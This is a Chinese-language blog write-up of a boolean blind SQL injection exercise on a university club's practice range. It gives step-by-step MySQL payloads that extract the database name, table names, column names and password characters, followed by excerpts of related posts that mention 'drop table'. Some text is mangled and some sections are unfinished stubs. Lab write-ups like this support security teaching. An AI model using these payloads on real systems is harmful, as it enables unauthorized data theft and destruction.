web安全原理分析 SQL注入漏洞全解

2021-10-04 02:00:43 字數 2238 閱讀 1043

靶場:榆林學院資訊保安協會——入侵榆大實驗靶場

mysql bool注入是盲注的一種。與報錯注入不同,bool注入沒有任何報錯資訊輸出,

頁面返回只有正常和不正常兩種狀態。攻擊者只能通過這兩個狀態來判斷輸入的sql注入語句是否正確,

從而判斷資料庫中儲存了那些資訊

ascii()返回字串str的最左面字元的ascii**值

ord() 函式返回字串第乙個字元的ascii 值

substring()字串擷取函式

left(str, length)從開始擷取字串

right(str, length)從右邊開始擷取字串

學習參考:

靶場採用協會內1比1**靶場:

測試注入payload:

經過測試  頁面不論怎樣測試都沒有錯誤  只有有資料 和無資料兩種頁面 不像別的注入頁面會爆出錯誤 只有爆出錯誤資訊我們才能通過錯誤資訊這塊來爆出資料庫中的內容

所以我們大致判斷這個頁面是乙個布林注入  使用盲注方法來解決。

採用二分法判斷 得知資料庫長度為4

and (select length(database()))>35   //頁面回顯沒資料

and (

select length(database()))<35 //頁面回顯有資料

and (

select length(database()))=4 //頁面回顯有資料

獲得資料庫名 獲得資料庫名為 ylxy

and left((select database()),1)='

y'

獲得資料庫中表的數量

and if((select count(*) from information_schema.tables where table_schema=database())>1,1,0

)and

if((select count(*) from information_schema.tables where table_schema=database())=2,1,0)

獲得資料庫表名

and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='

r'

------有問題。。。。

判斷字段數量

and (select count(*) from information_schema.columns where table_name='

users

')>1

獲得指定表名字段數

and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'

爆資料and left((select password from users limit 0,1),1)='d'

3.sqlmap 注入

ddd3.python 指令碼注入

web安全SQL注入原理

sql注入即isql injection,是指攻擊者通過注入惡意的sql命令,破壞sql查詢語句的結構,從而達到執行惡意sql語句的目的。sql注入漏洞的危害是巨大的,常常會導致整個資料庫被 脫褲 儘管如此,sql注入仍是現在最常見的web漏洞之一。sql注入攻擊可以手工進行,也可以通過sql注入攻...

WEB安全 SQL注入

sql注入 or 1 例如 select form table1 where name param 一般param是從頁面輸入控制項傳遞來的資料 如果你在控制項中輸入 or 1 1 那麼他將查詢所有的資料出來 表示後面的都被注釋掉了 你還可以 drop table table1 那麼他將刪除該錶,其...

web安全 sql注入

所謂sql注入,就是通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。具體來說,它是利用現有應用程式,將 惡意的 sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,...